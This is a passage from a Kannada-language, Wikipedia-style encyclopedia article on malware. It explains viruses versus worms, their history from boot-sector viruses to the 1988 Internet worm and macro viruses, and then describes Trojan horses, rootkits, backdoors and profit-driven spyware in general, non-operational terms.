ಹೆಚ್ಚಾಗಿ ನಿರ್ವಹಿಸಬಲ್ಲವು. ಒಂದು ''[[ವರ್ಮು]]'' , ಇನ್ನೊಂದು ರೀತಿಯಲ್ಲಿ, ತಂತ್ರಾಂಶವಾಗಿದ್ದು, ಅದು ತನ್ನನ್ನು ತಾನೇ ಸಂಪರ್ಕಜಾಲದಲ್ಲಿ ಪ್ರಸಾರಗೊಳಿಸಿಕೊಂಡು ಉಳಿದ ಗಣಕಗಳಲ್ಲಿ ಸೋಂಕುವುಂಟು ಮಾಡಬಲ್ಲದು. ಇದು ಸಹ ಪೇಲೋಡ್ ಅನ್ನು ಒಯ್ಯಬಲ್ಲದು. ಈ ವ್ಯಾಖ್ಯಾನಗಳನ್ನು ಗಮನಿಸಿದರೆ ವೈರಸ್‌ಗಳು ಪ್ರಸಾರ ಹೊಂದಲು ಬಳಕೆದಾರನ ಹಸ್ತಕ್ಷೇಪವನ್ನು ಬಯಸುತ್ತವೆ, ಅದೇ ವರ್ಮುಗಳು ಸ್ವಯಂಚಾಲಿತವಾಗಿ ತಮ್ಮನ್ನು ತಾವೇ ಪ್ರಸಾರ ಮಾಡಿಕೊಳ್ಳಬಲ್ಲವು. ಈ ವ್ಯತ್ಯಾಸವನ್ನು ಗಮನದಲ್ಲಿಟ್ಟುಕೊಂಡು, ವೈರಸ್‌ ಎಂದರೆ ವರ್ಮಿನಂತಲ್ಲದೇ, [[ಇಮೇಲ್]] ಅಥವಾ [[ಮೈಕ್ರೊಸಾಫ್ಟ್ ವರ್ಡ್]] ಡಾಕ್ಯುಮೆಂಟುಗಳ ಮೂಲಕ ಪಸರಿಸುವ ಸೋಂಕಾಗಿದ್ದು, ಇದು ಈ ಸೋಂಕನ್ನು ಉಂಟು ಮಾಡಲು ಕಡತ ಅಥವಾ ಇಮೇಲ್ ತೆರೆಯುವವನ ಮೇಲೆ ಅವಲಂಬಿತವಾಗಿರುತ್ತದೆ. ಕೆಲವು ವೃತ್ತಿಪರ ಬರಹಗಾರರು ಮತ್ತು ಜನಪ್ರಿಯ ಮಾಧ್ಯಮಗಳು ಈ ವ್ಯತ್ಯಾಸವನ್ನು ಅಪಾರ್ಥ ಮಾಡಿಕೊಂಡು ಈ ಹೆಸರುಗಳನ್ನು ಒಂದಕ್ಕೆ ಮತ್ತೊಂದನ್ನು ಪರ್ಯಾಯವಾಗಿ ಬಳಸುತ್ತಾರೆ. === ವೈರಸ್‌ ಮತ್ತು ವರ್ಮುಗಳ ಕಿರುಚರಿತ್ರೆ === [[ಅಂತರಜಾಲ]]ವು ವ್ಯಾಪಕವಾಗಿ ಪ್ರಚಲಿತಕ್ಕೆ ಬರುವ ಮುನ್ನ, ವೈರಸ್‌ಗಳು ಫ್ಲಾಪಿ ಡಿಸ್ಕಿನ ತಂತ್ರಾಂಶ ಅಥವಾ [[ಬೂಟ್ ಸೆಕ್ಟರ್]]ನಲ್ಲಿ ಸೊಂಕನ್ನು ಉಂಟುಮಾಡಿ ಖಾಸಗಿ ಗಣಕಗಳಲ್ಲಿ ಪಸರಿಸುತ್ತಿದ್ದವು. ಈ ಕಾರ್ಯಕಗಳಲ್ಲಿನ [[ಮೆಷಿನ್ ಕೋಡ್‌]]ನ ನಿರ್ದೇಶನಗಳ ಜೊತೆ ತಮ್ಮದೊಂದು ಕಾಪಿಯನ್ನು ಸೇರಿಸಿಟ್ಟು, ತಂತ್ರಾಂಶ ಕಾರ್ಯಗತವಾದಾಗಲೆಲ್ಲ ಅಥವಾ ಈ ಡಿಸ್ಕನ್ನು ಬೂಟ್ ಮಾಡಿದಾಗೆಲ್ಲ ವೈರಸ್‌ ಸಕ್ರಿಯವಾಗುತಿತ್ತು. ಮೊದಲಿನ ಗಣಕ ವೈರಸ್‌ಗಳನ್ನು [[ಆ‍ಯ್‌ಪಲ್ II]] ಮತ್ತು [[ಮ್ಯಾಕಿಂತೋಶ್]] ಇವುಗಳಿಗೆಂದು ಬರೆಯಲಾಗಿತ್ತು. ಆದರೂ ಇವು [[IBM PC]] ಮತ್ತು [[MS-DOS]] ಸಿಸ್ಟಮ್‌ಗಳು ಪ್ರಾಬಲ್ಯಕ್ಕೆ ಬಂದಾಗ ಇನ್ನಷ್ಟು ವ್ಯಾಪಕವಾಗಿ ಪಸರಿಸಿದವು. ಕಾರ್ಯಗತಗೊಳಿಸುವಂತಹ ಸೋಂಕುಕಾರಕ ವೈರಸ್‌ಗಳು ಬಳಕೆದಾರರ ತಂತ್ರಾಂಶ ವಿನಿಮಯ ಅಥವಾ ಬೂಟ್ ಪ್ಲಾಪಿಗಳ ಮೇಲೆ ಅವಲಂಬಿತವಾಗಿವೆ. ಹಾಗಾಗಿ ಅವು ಗಣಕ ಹೊಬಿಯಸ್ಟ್ ಸರ್ಕಲ್‌ನಲ್ಲಿ ಅಗಾಧವಾಗಿ ಪಸರಿಸುತ್ತವೆ. ಮೊದಲ ವರ್ಮುಗಳು, ಅಂದರೆ ಸಂಪರ್ಕಜಾಲದಿಂದ ಜನಿಸಿದ ಸೋಂಕುಕಾರಕ ತಂತ್ರಾಶಗಳು ಹುಟ್ಟಿದ್ದು ಖಾಸಗಿ ಗಣಕಗಳಲ್ಲಿ ಅಲ್ಲ, ಬದಲಿಗೆ ಹಲವು ಕಾರ್ಯವನ್ನು ನಿರ್ವಹಿಸಬಲ್ಲ [[ಯುನಿಕ್ಸ್]] ಸಿಸ್ಟ್‌ಮ್‌ಗಳಲ್ಲಿ. ಮೊದಲ ಹೆಸರುವಾಸಿಯಾದ ವರ್ಮು ೧೯೮೮ರ [[ಇಂಟರ್‌ನೆಟ್ ವರ್ಮ್]]. ಇದು[[ಸನ್ ಓಎಸ್]] ಮತ್ತು [[ವಾಕ್ಸ್]] [[ಬಿಎಸ್ಡಿ]] ಸಿಸ್ಟಮ್‌ಗಳಲ್ಲಿ ಸೋಂಕನ್ನು ಪಸರಿಸಿತ್ತು. ಈ ವರ್ಮು ವೈರಸ್‌ನಂತೆ ಉಳಿದ ತಂತ್ರಾಂಶಗಳಲ್ಲಿ ತನ್ನನ್ನು ತಾನೇ ಸೇರಿಸಿಕೊಂಡಿರಲಿಲ್ಲ. ಅದರ ಬದಲು, ಇದು ಸಂಪರ್ಕಜಾಲದ ಸರ್ವರ್ ಪ್ರೋಗ್ರಾಮ್‌ಗಳಲ್ಲಿನ ಭದ್ರತಾ ನ್ಯೂನತೆಯ ದುರ್ಲಾಭ ಪಡೆದು ಸ್ವತಃ ತಾನೇ ಒಂದು ಪ್ರೊಸೆಸ್ ಆಗಿ ಕಾರ್ಯ ಎಸಗತೊಡಗಿತು. ಇದೇ ಸಮಾನ ನಡುವಳಿಕೆಯನ್ನು ಸಧ್ಯದ ವರ್ಮುಗಳು ಬಳಸುತ್ತವೆ. ೧೯೯೦ರಲ್ಲಿ [[ಮೈಕ್ರೊಸೊಫ್ಟ್ ವಿಂಡೋಸ್]] ಪ್ಲಾಟ್‌ಫಾರಂ ಉದಯವಾಗುತ್ತಿದ್ದ ಹಾಗೆ ಮತ್ತು ಇದರ ಅಪ್ಲಿಕೇಶನ್‌ಗಳ ಹೊಂದಿಕೊಳ್ಳುವ [[ಮ್ಯಾಕ್ರೊ]] ಸಿಸ್ಟಮ್‌ಗಳ ಕಾರಣದಿಂದ ಸೋಂಕುಕಾರಕ ಕೋಡ್‌ಗಳನ್ನು [[ಮೈಕ್ರೊಸಾಫ್ಟ್ ವರ್ಡ್]] ಮತ್ತು ಉಳಿದ ಪ್ರೋಗ್ರಾಮುಗಳ ಮ್ಯಾಕ್ರೊ ಲ್ಯಾಂಗ್ವೇಜಿನಲ್ಲಿ ಬರೆಯಲು ಸಾಧ್ಯವಾಯಿತು. ಈ ''[[ಮ್ಯಾಕ್ರೊ ವೈರಸ್‌]]ಗಳು'' ಅಪ್ಲಿಕೇಶನ್‌ಗಳನ್ನು ಬಿಟ್ಟು ಕಡತಗಳನ್ನು ಮತ್ತು ಟೆಂಪ್ಲೇಟುಗಳಲ್ಲಿ ಸೋಂಕನ್ನು ಪಸರಿಸುತ್ತವೆ. ಆದರೆ, ವರ್ಡ್‌ಡಾಕ್‌ನಲ್ಲಿರುವ ಮ್ಯಾಕ್ರೊಗಳು ಜಾರಿಯಾಗಲ್ಪಡುವ ಕೋಡ್‌ನಲ್ಲಿರುತ್ತವೆ ಎಂಬ ವಸ್ತುಸ್ಥಿತಿಯ ಮೇಲೆ ನಂಬಿಕೆ ಇಡಬಹುದು. ಈ ದಿನಗಳಲ್ಲಿ ವರ್ಮುಗಳನ್ನು ಹೆಚ್ಚಾಗಿ ವಿಂಡೋಸ್ OSಗಾಗಿ ಬರೆಯಲಾಗುತ್ತದೆ. ಆದಾಗ್ಯೂ ಸಣ್ಣ ಪ್ರಮಾಣದಲ್ಲಿ [[ಲಿನಕ್ಸ್]] ಮತ್ತು [[ಯುನಿಕ್ಸ್]] ಸಿಸ್ಟ್‌ಮ್‌ಗಳಿಗೂ ಬರೆಯಲಾಗುತ್ತದೆ. ವರ್ಮುಗಳು ಇಂದಿನ ದಿನಗಳಲ್ಲಿ ೧೯೮೮ರ ಇಂಟರ್‌ನೆಟ್ ವರ್ಮ್‌ನ ಹಳೆಯ ಸಾಮಾನ್ಯ ರೀತಿಯಲ್ಲೇ ಕೆಲಸ ಮಾಡುತ್ತವೆ. ಅವು ಸಂಪರ್ಕಜಾಲವನ್ನು ಸ್ಕಾನ್ ಮಾಡುತ್ತಾ ದುರ್ಬಲ ಗಣಕಗಳಲ್ಲಿ ತಮ್ಮ ಪ್ರತಿಕೃತಿ ಸ್ಥಾಪಿಸುವುದಕ್ಕೆ ಇರುವ ಅನುಕೂಲವನ್ನು ಹುಡುಕುತ್ತಿರುತ್ತವೆ. == ಗುಪ್ತ ಅಡಕ: ಟ್ರೋಜನ್ ಹಾರ್ಸ್‌ಗಳು, ರೂಟ್‌ಕಿಟ್‌ಗಳು ಮತ್ತು ಬ್ಯಾಕ್‌ಡೋರ್‌ಗಳು == {{Main|Trojan horse (computing)|Rootkit|Backdoor (computing)}} === ಟ್ರೋಜನ್ ಹಾರ್ಸ್‌ಗಳು === ಒಂದು ದುರಾಗ್ರಹ ಪ್ರೊಗ್ರಾಮ್‌ಗೆ ಅದರ ಉದ್ದೇಶವನ್ನು ಈಡೇರಿಸಿಕೊಳ್ಳಲು, ಅದು ತನ್ನನ್ನು ತಾನೇ ಶಟ್‌ ಡೌನ್ ಮಾಡಿಕೊಳ್ಳದಿರುವ ಅಥವಾ ಗಣಕ ಕಾರ್ಯ ಚಲಾಯಿಸುತ್ತಿರುವಾಗ ಬಳಕೆದಾರನಿಂದ/ಆಡಳಿತಾಧಿಕಾರಿಯಿಂದ ಡಿಲೀಟ್ ಆಗದೇ ಇರುವಂತಹ ಸಾಮರ್ಥ್ಯ ಪಡೆದಿರಬೇಕು. ಗುಪ್ತ ಅಡಕವು ಸಹ ಮಾಲ್‌ವೇರ್ ಸ್ಥಾಪನೆ ಆಗುವಂತೆ ಸಹಕರಿಸುತ್ತದೆ. ದುರಾಗ್ರಹದ ಪ್ರೊಗ್ರಾಮ್‌ ತನ್ನ ನಿಜರೂಪವನ್ನು ನಿರುಪದ್ರವಿ ಅಥವಾ ಅಪೇಕ್ಷಣೀಯವಾಗಿ ಮರೆಮಾಚಿ, ಬಳಕೆದಾರರನ್ನು ತನ್ನನ್ನು ಅನುಸ್ಥಾಪಿಸಿಕೊಳ್ಳುವುದಕ್ಕೆ ಪ್ರಲೋಭಿಸುತ್ತದೆ. ಇದು ಟ್ರೋಜೊನ್ ಹಾರ್ಸ್ ಅಥವಾ ಟ್ರೋಜನ್‌ನ ತಂತ್ರವಾಗಿದೆ. ವಿಶಾಲವಾಗಿ ಹೇಳಬೇಕೆಂದರೆ, ಟ್ರೋಜನ್ ಹಾರ್ಸು ಒಂದು ಪ್ರೊಗ್ರಾಮ್ ಆಗಿದ್ದು ಅದು ಬಳಕೆದಾರರನ್ನು ತನ್ನನ್ನು ಕಾರ್ಯಗತಗೊಳಿಸಲು ಆಹ್ವಾನಿಸುತ್ತದೆ. ಜೊತೆಗೆ ಪೀಡಕ ಅಥವಾ ದುರಾಗ್ರಹ ಪೇಲೋಡ್‌ ಅನ್ನು ಗುಪ್ತ ಅಡಕವನ್ನಾಗಿ ಒಳಗೊಂಡಿರುತ್ತದೆ. ಈ ಪೇಲೋಡ್‌ ತಕ್ಷಣವೇ ಸಕ್ರಿಯಗೊಂಡು ಅನಪೇಕ್ಷಿತ ಪರಿಣಾಮಗಳನ್ನು ತೋರಿಸಬಹುದು. ಹೇಗೆಂದರೆ ಬಳಕೆದಾರನ ಕಡತಗಳನ್ನು ಡಿಲೀಟ್ ಮಾಡುವುದಾಗಿರಬಹುದು ಅಥವಾ ಮುಂದೆ ದುರಾಗ್ರಹದ/ಅನಪೇಕ್ಷಿತ ತಂತ್ರಾಂಶಗಳನ್ನು ಸ್ಥಾಪನೆಗೊಳಿಸುವುದಾಗಿರಬಹುದು. [[ಡ್ರಾಪರ್]] ಎಂದು ಕರೆಯಲ್ಪಡುವ ಟ್ರೋಜನ್ ಹಾರ್ಸು, ವರ್ಮುಗಳನ್ನು ಬಳಕೆದಾರನ ಸ್ಥಳೀಯ ಸಂಪರ್ಕಜಾಲದೊಳಗೆ ತೂರಿಸಿ ವರ್ಮುಗಳ ಏಕಾಏಕಿ ಆರಂಭಕ್ಕೆ ಕಾರಣವಾಗಬಹುದು. ಸ್ಪೈವೇರನ್ನು ಸಾಮಾನ್ಯವಾಗಿ ಹೆಚ್ಚು ಬಾರಿ ಟ್ರೋಜೊನ್ ಹಾರ್ಸುಗಳ ಮುಖೇನ ಪಸರಿಸಲಾಗುತ್ತದೆ. ಇವುಗಳನ್ನು ಅಪೇಕ್ಷಣೀಯ ತಂತ್ರಾಂಶದ ಜೊತೆಗೆ ಸೇರ್ಪಡೆ ಮಾಡಿ, ಬಳಕೆದಾರ ಅಂತರಜಾಲದಿಂದ ಡೌನ್‌ಲೋಡ್ ಮಾಡುವಂತೆ ಮಾಡಲಾಗುತ್ತದೆ. ಬಳಕೆದಾರ ಈ ತಂತ್ರಾಂಶವನ್ನು ಸ್ಥಾಪನೆ ಮಾಡಿದಾಗ ಇದರ ಜೊತೆಯಲ್ಲಿ ಸ್ಪೈವೇರ್ ಸಹ ಸ್ಥಾಪನೆಯಾಗುತ್ತದೆ. ಸ್ಪೈವೇರಿನ ಕತೃಗಳು ತಮ್ಮ ಕೆಲಸವನ್ನು ಶಾಸನಬದ್ಧವಾಗಿರುವಂತೆ ಮರೆಮಾಚಲು [[ಎಂಡ್ ಯುಸರ್ ಲೈಸನ್ಸ್ ಅಗ್ರಿಮೆಂಟ್‌]]ನ ಮೊರೆ ಹೋಗುತ್ತಾರೆ. ಇದರಲ್ಲಿ ಸ್ಪೈವೇರಿನ ನಡುವಳಿಕೆಗಳನ್ನು ಹಗುರವಾಗಿ ಪರಿಗಣಿಸಿ ಬರೆಯಲಾಗಿದ್ದು ಅದನ್ನು ಬಳಕೆದಾರ ಓದಿ ಅರ್ಥ ಮಾಡಿಕೊಂಡು ಗುರುತಿಸಲು ಅಸಮರ್ಥವಾಗುವಂತೆ ಮಾಡಿರುತ್ತಾರೆ. === ರೂಟ್‌ಕಿಟ್‌ಗಳು === ಒಂದು ಸಲ ದುರಾಗ್ರಹದ ಪ್ರೊಗ್ರಾಮ್‌ ಸಿಸ್ಟಮ್‌ನಲ್ಲಿ ಸ್ಥಾಪನೆಯಾದ ನಂತರದಲ್ಲಿ, ಅದು ಪತ್ತೆ ಆಗದಂತೆ ಮತ್ತು ಸೋಂಕು ರಹಿತವಾಗದಿರಲು, ಅದು ಗುಪ್ತ ಅಡಕವಾಗಿ ''ಸ್ಟೇ'' ಆಗಿರುವುದು ಬಹಳ ಅವಶ್ಯಕ. ಇದು ಮನುಷ್ಯ ಆಕ್ರಮಣಕಾರ ಗಣಕಕ್ಕೆ ನೇರವಾಗಿ ದಾಳಿ ಇಟ್ಟಾಗ ಸಹ ಅನ್ವಯವಾಗುತ್ತದೆ. ''[[ರೂಟ್‌ಕಿಟ್]]'' ಎಂದು ಕರೆಯಲ್ಪಡುವ ತಂತ್ರಗಳು ಈ ರೀತಿಯ ಗುಪ್ತ ಅಡಕಗಳಿಗೆ, ಅತಿಥೇಯ ಆಪರೇಟಿಂಗ್ ಸಿಸ್ಟಮ್‌ಗಳಲ್ಲಿ ಬದಲಾವಣೆಯನ್ನು ಮಾಡಿಕೊಟ್ಟು ಮಾಲ್‌ವೇರ್‌ಗಳಿಗೆ ಬಳಕೆದಾರನಿಂದ ಅಡಗಿ ಕುಳಿತುಕೊಳ್ಳಲು ದಾರಿ ಮಾಡುಕೊಡುತ್ತವೆ. ರೂಟ್‌ಕಿಟ್‌ಗಳು ದುರಾಗ್ರಹದ‍ [[ಪ್ರೊಸೆಸ್]] ಅನ್ನು ಸಿಸ್ಟಮ್‌ನ ಪ್ರೊಸೆಸ್‌ಗಳ ಪಟ್ಟಿಯಲ್ಲಿ ಕಾಣದಂತೆ ಅಥವಾ ಇದರ ಕಡತಗಳನ್ನು ಓದದಂತೆ ಪ್ರತಿಬಂಧಿಸುತ್ತವೆ. ಮೂಲವಾಗಿ ರೂಟ್‌ಕಿಟ್ ಎನ್ನುವುದು ಟೂಲುಗಳ ಒಂದು ಗುಂಪಾಗಿದ್ದು ಇದನ್ನು ಯುನಿಕ್ಸ್ ಸಿಸ್ಟಮ್‌ನಲ್ಲಿ ಆಕ್ರಮಣಕಾರನೊಬ್ಬ ಆಡಳಿತಾಧಿಕಾರಿಯ(ರೂಟ್) ಪ್ರವೇಶಾಧಿಕಾರವನ್ನು ಪಡೆದುಕೊಂಡು ಸ್ಥಾಪನೆ ಮಾಡಿದ್ದ. ಇವತ್ತಿನ ದಿನದಲ್ಲಿ ಈ ಹೆಸರನ್ನು ಸಾಮಾನ್ಯವಾಗಿ ದುರಾಗ್ರಹದ ಪ್ರೊಗ್ರಾಂಗಳ ಗುಪ್ತ ಅಡಕಗಳ ನಿಯತ ಕಾರ್ಯಗಳಿಗೆ ಹೆಸರಿಸಲು ಬಳಸಲಾಗುತ್ತಿದೆ. ಕೆಲವು ದುರಾಗ್ರಹದ ಪ್ರೊಗ್ರಾಮ್‌ಗಳು ನಿಯತ ಕಾರ್ಯಗಳನ್ನು ಹೊಂದಿದ್ದು ಅದು ಅದನ್ನು ರಿಮೂವಲ್‌ಗಳಿಂದ ರಕ್ಷಿಸುವುದಲ್ಲದೆ ಅವುಗಳನ್ನು ಹಿಮ್ಮೆಟ್ಟಿಸುತ್ತದೆ. ಈ ನಡುವಳಿಕೆಯ ಉದಾಹರಣೆಯನ್ನು ಮೊದಲು ದಾಖಲಿಸಿದ್ದು [[ಜಾರ್ಗನ್ ಫೈಲ್]], ಇದು ಎರಡು ಜೊತೆಯ ಪ್ರೊಗ್ರಾಮ್‌ಗಳು ಒಂದು ಜೆರಾಕ್ಸ್‌ [[ಸಿಪಿ-ವಿ]] ಟೈಮ್‌ಶೇರಿಂಗ್ ಸಿಸ್ಟಮ್‌ನ್ನು ಪೀಡಿಸುತ್ತಿದ್ದಾಗಿನ ಕತೆಯಾಗಿದೆ. ಪ್ರತಿಯೊಂದು ಗೋಸ್ಟ್‌ನ ಕಾರ್ಯವು ಇತರ ಬೇರೆಯದ್ದು ಕೊಲ್ಲಲ್ಪಟ್ಟಿದೆ ಎನ್ನುವುದನ್ನು ನೋಡುವುದು ಆಗಿದೆ. ಮತ್ತು ಇತ್ತೀಚೆಗೆ ಹಾಳಾದ ಪ್ರೊಗ್ರಾಮ್ ಅನ್ನು ಕೆಲವೇ ಮಿಲಿ ಸೆಕೆಂಡುಗಳಲ್ಲಿ ಕಾಪಿ ಮಾಡುವುದಕ್ಕೆ ಪ್ರಾರಂಭಿಸುತ್ತದೆ. ಎರಡು ಘೋಸ್ಟ್‌ಗಳನ್ನು ಕೊಲ್ಲುವ ಒಂದೇ ಮಾರ್ಗವೆಂದರೆ, ಅವುಗಳನ್ನು ಕೊಲ್ಲುವುದು (ಅತ್ಯಂತ ಕಷ್ಟಕರವಾದುದು) ಅಥವಾ ನೇರವಾಗಿ ಗಣಕವನ್ನೇ ಹಾಳು ಮಾಡಬಹುದು.<ref>[http://catb.org/jargon/html/meaning-of-hack.html Catb.org]</ref> ಇದೇ ರೀತಿಯ ಹಲವಾರು ಆಧುನಿಕ ತಂತ್ರಗಳನ್ನು ಮಾಲ್‌‌‍ವೇರ್‌ಗಳಿಂದ ಬಳಕೆಯಾಗಲ್ಪಡುತ್ತಿದೆ. ಅವುಗಳಲ್ಲಿ ಒಬ್ಬರಿಂದ ಇನ್ನೊಬ್ಬರಿಗೆ ಅಗತ್ಯವಾಗುವ ಹಲವಾರು ಪ್ರಕ್ರಿಯೆಗಳ ಮೇಲೆ ಗಮನವಿಡುವ ಮತ್ತು ಪುನರ್ ಸ್ಥಾಪಿಸುವುದನ್ನು ಪ್ರಾರಂಭಿಸುತ್ತವೆ. === ಬ್ಯಾಕ್‌ಡೋರ್ಸ್ === [[ಬ್ಯಾಕ್‌ಡೋರ್]] ಎನ್ನುವುದು ಸಾಮಾನ್ಯ [[ದೃಢೀಕರಣ]] ಕಾರ್ಯವಿಧಾನದ ಹೊತ್ತಿನಲ್ಲಿ ಬಳಸಬಹುದಾದ ಉಪಮಾರ್ಗದ ವಿಧಾನವಾಗಿದೆ. ಒಂದು ಸಲ ಸಿಸ್ಟಮ್‌ ಜೊತೆ ರಾಜಿ ಮಾಡಿಕೊಂಡ ಮೇಲೆ (ಮೇಲಿನ ಯಾವುದೇ ಒಂದು ವಿಧಾನದಲ್ಲಿ ಅಥವಾ ಬೇರೆ ರೀತಿಯಲ್ಲಿ), ಒಂದು ಅಥವಾ ಅನೇಕ ಬ್ಯಾಕ್‌ಡೋರ್‌ಗಳನ್ನು ಸ್ಥಾಪಿಸಿ ಭವಿಷ್ಯದಲ್ಲಿ ಸುಲಭವಾಗಿ ಪ್ರವೇಶಾಧಿಕಾರ ಪಡೆಯಲು ಸಾಧ್ಯವಾಗುವಂತೆ ನೋಡಿಕೊಳ್ಳಬಹುದು. ದುರಾಗ್ರಹದ ತಂತ್ರಾಂಶಗಳಿಗಿಂತ ಮುನ್ನ ಬ್ಯಾಕ್‌ಡೋರ್‌ಗಳನ್ನು ಸ್ಥಾಪಿಸಿ ಆಕ್ರಮಣಕಾರರಿಗೆ ದಾರಿ ಮಾಡಿಕೊಡಬಹುದು. ಗಣಕ ಉತ್ಪಾದಕರು ತಮ್ಮ ಸಿಸ್ಟಮ್‌ಗಳಲ್ಲಿ ಗ್ರಾಹಕರಿಗೆ ಟೆಕ್ನಿಕಲ್ ಸಪೋರ್ಟ್ ಕೊಡಲು ಮೊದಲೇ ಬ್ಯಾಕ್‍ಡೋರ್‌ಗಳನ್ನು ಸ್ಥಾಪಿಸಿರುತ್ತಾರೆ ಎಂಬ ಅಭಿಪ್ರಾಯವನ್ನು ಹಲವು ಬಾರಿ ಹೊಂದಲಾಗಿದೆ. ಆದರೆ ಇದನ್ನು ಯಾವತ್ತೂ ಪರೀಕ್ಷಿಸಲಾಗಿಲ್ಲ. [[ಕ್ರಾಕರ್‌ಗಳು]], ಗಣಕದ ಪರೋಕ್ಷ ಪ್ರವೇಶಾಧಿಕಾರವನ್ನು ಪಡೆಯುವ ಜೊತೆಗೆ ಸಾಂಧರ್ಬಿಕ ತಪಾಸಣೆಯ ಹೊತ್ತಿನಲ್ಲಿ ಅಡಗಿಕೊಳ್ಳಲು ವಿಶಿಷ್ಟವಾಗಿ ಬ್ಯಾಕ್‍ಡೋರ್‌ಗಳನ್ನು ಬಳಸುತ್ತಾರೆ. ಬ್ಯಾಕ್‍ಡೋರ್‌ಗಳನ್ನು ಸ್ಥಾಪಿಸಲು [[ಕ್ರಾಕರ್‌]]ಗಳು [[ಟ್ರೋಜೊನ್ ಹಾರ್ಸು]]ಗಳು, [[ವರ್ಮು]]ಗಳು ಅಥವಾ ಇನ್ಯಾವುದೇ ವಿಧಾನಗಳನ್ನು ಬಳಸಬಹುದು. == ಲಾಭಕ್ಕಾಗಿ ಮಾಲ್‌ವೇರ್‌: ಸ್ಪೈವೇರ್‌, ಬಾಟ್‌ನೆಟ್ಸ್‌, ಕೀಸ್ಟ್ರೋಕ್‌ಲಾಗರ್ಸ್, ಮತ್ತು ಡೈಯಲರ್ಸ್ == {{Main|Spyware|Botnet|Keystroke logging|Web threats|Dialer}} ೧೯೮೦ ಮತ್ತು ೧೯೯೦ರ ಸಮಯದಲ್ಲಿ, ದುರಾಗ್ರಹದ ಪ್ರೋಗ್ರಾಮ್‌ಗಳನ್ನು [[ವಿಧ್ವಂಸಕ]] ಅಥವಾ [[ಕುಚೇಷ್ಟೆ]]ಯ ಕೆಲಸ ಎಂದು ಭಾವಿಸಲಾಗಿತ್ತು. ತೀರಾ ಇತ್ತೀಚೆಗೆ, ಬಹುಪಾಲು ಮಾಲ್‌ವೇರ್‌ ಪ್ರೋಗ್ರಾಮ್‌ಗಳನ್ನು ಆರ್ಥಿಕ ಅಥವಾ ಲಾಭದ ದೃಷ್ಟಿಯನ್ನಿಟ್ಟುಕೊಂಡು ಮಾಡಲಾಗುತ್ತದೆ. ಇದನ್ನು, ಸೋಂಕಿನ ಸಿಸ್ಟಮ್‌ಗಳ (ಗಣಕಗಳ) ಮೇಲಿನ ತಮ್ಮ ಹಿಡಿತದಿಂದ ಲಾಭ ಮಾಡಿಕೊಳ್ಳುವ, ಆ ಹಿಡಿತವನ್ನೇ ಒಂದು ಹಣದ ಮೂಲವನ್ನಾಗಿ ಮಾಡಿಕೊಳ್ಳುವ ಮಾಲ್‌ವೇರ್‌ನ ನಿರ್ಮಾತೃವಿನ ಇಚ್ಛೆ ಎಂದು ಭಾವಿಸಬಹುದು. ಸ್ಪೈವೇರ್‌ ಪ್ರೋಗ್ರಾಮುಗಳನ್ನು ಗಣಕ ಬಳಕೆದಾರರ ಬಗ್ಗೆ ಮಾಹಿತಿಯನ್ನು ಸಂಗ್ರಹಿಸುವುದಕ್ಕಾಗಿ ವ್ಯವಹಾರಿಕವಾಗಿ ನಿರ್ಮಿಸಲಾಗುತ್ತದೆ, ಸ್ಪೈವೇರ್‌ಗಳ ನಿರ್ಮಾತೃಗಳ ಲಾಭಕ್ಕಾಗಿ, ಬಳಕೆದಾರರಿಗೆ [[ಪಾಪ್-ಅಪ್‌ ಜಾಹೀರಾತು]]ಗಳನ್ನು ತೋರಿಸುವುದು, ಅಥವಾ ವೆಬ್‌-ಬ್ರೌಸರ್‌ಗಳ ವರ್ತನೆಯನ್ನು ಬದಲಾಯಿಸುವುದು. ಉದಾಹರಣೆಗೆ, ಕೆಲವು ಸ್ಪೈವೇರ್‌ ಪ್ರೋಗ್ರಾಮುಗಳು [[ಸರ್ಚ್‍ ಎಂಜಿನ್‌]] ಅನ್ನು ಪಾವತಿಸಿದ ಜಾಹೀರಾತುಗಳಿಗೆ ಮಾರ್ಗ ಬದಲಿಸುತ್ತವೆ (ರೀಡೈರೆಕ್ಟ್‌ ಮಾಡುತ್ತವೆ). ಮಾಧ್ಯಮದವರು ಸಾಮಾನ್ಯವಾಗಿ "[[ಸ್ಟೀಲ್‌ವೇರ್]]‌" ಎಂದು ಕರೆಯುವ ಮತ್ತೆ ಕೆಲವು ಪ್ರೋಗ್ರಾಮ್‌ಗಳು, ಹಣ ತಲುಪಬೇಕಾದವರಿಗೆ ಬದಲಾಗಿ ಸ್ಪೈ‌ವೇರ್‌ ‌ನಿರ್ಮಾತೃವಿಗೆ ತಲುಪುವಂತೆ [[ಸಂಯೋಜಿತ ಮಾರ್ಕೆಟಿಂಗ್‌]]ನ ತಂತ್ರಲಿಪಿಯನ್ನು ತಿದ್ದಿಬಿಡುತ್ತವೆ. ಸ್ಪೈವೇರ್‌ ಪ್ರೋಗ್ರಾಮುಗಳನ್ನು ಕೆಲವು ಸಲ ಯಾವುದಾದರೊಂದು ಟ್ರೋಜನ್‌ ಹಾರ್ಸ್‌ನ ಮಾದರಿಯಲ್ಲಿ ಅಳವಡಿಸಲಾಗುತ್ತದೆ. ಇದರ ಒಂದೇ ವ್ಯತ್ಯಾಸವೆಂದರೆ, ತನ್ನ ನಿರ್ಮಾತೃಗಳು ಬಹಿರಂಗವಾಗಿ ತಮ್ಮನ್ನು ತಾವು ವ್ಯವಹಾರಿಗಳೆಂದು ತೋರಿಸಿಕೊಳ್ಳುತ್ತಾರೆ. ಉದಾಹರಣೆಗೆ, ಮಾಲ್‌ವೇರ್‌ಗಳು ತಯಾರಿಸಿದ ಪಾಪ್‌-ಅಪ್‌‍ ಜಾಗಗಳನ್ನು ಮಾರಾಟ ಮಾಡುವುದರ ಮೂಲಕ. ಇಂತಹ ಬಹುತೇಕ ಪ್ರೋಗ್ರಾಮ್‌ಗಳು ಬಳಕೆದಾರನಿಗೆ, ಗಣಕ ಮಲಿನಜನಕ ಕಾಯ್ದೆಯಿಂದ ತನ್ನ ನಿರ್ಮಾತೃವನ್ನು ಶಿಕ್ಷೆಯಿಂದ ರಕ್ಷಿಸಲು [[ಅಂತಿಮ-ಬಳಕೆದಾರನ ಪರವಾನಗಿ ಒಪ್ಪಂದ]]ವನ್ನು ಕೊಡುತ್ತವೆ. ಆದರೆ, ಸ್ಪೈವೇರ್‌ EULAಗಳು ಕೋರ್ಟಿನಲ್ಲಿ ನಿಂತಿಲ್ಲ. ಆರ್ಥಿಕ ಲಾಭಕ್ಕೋಸ್ಕರ ಮಾಲ್‌ವೇರ್‌ಗಳನ್ನು ತಯಾರಿಸುವವರು ಲಾಭ ಮಾಡಬಹುದಾದ ಇನ್ನೊಂದು 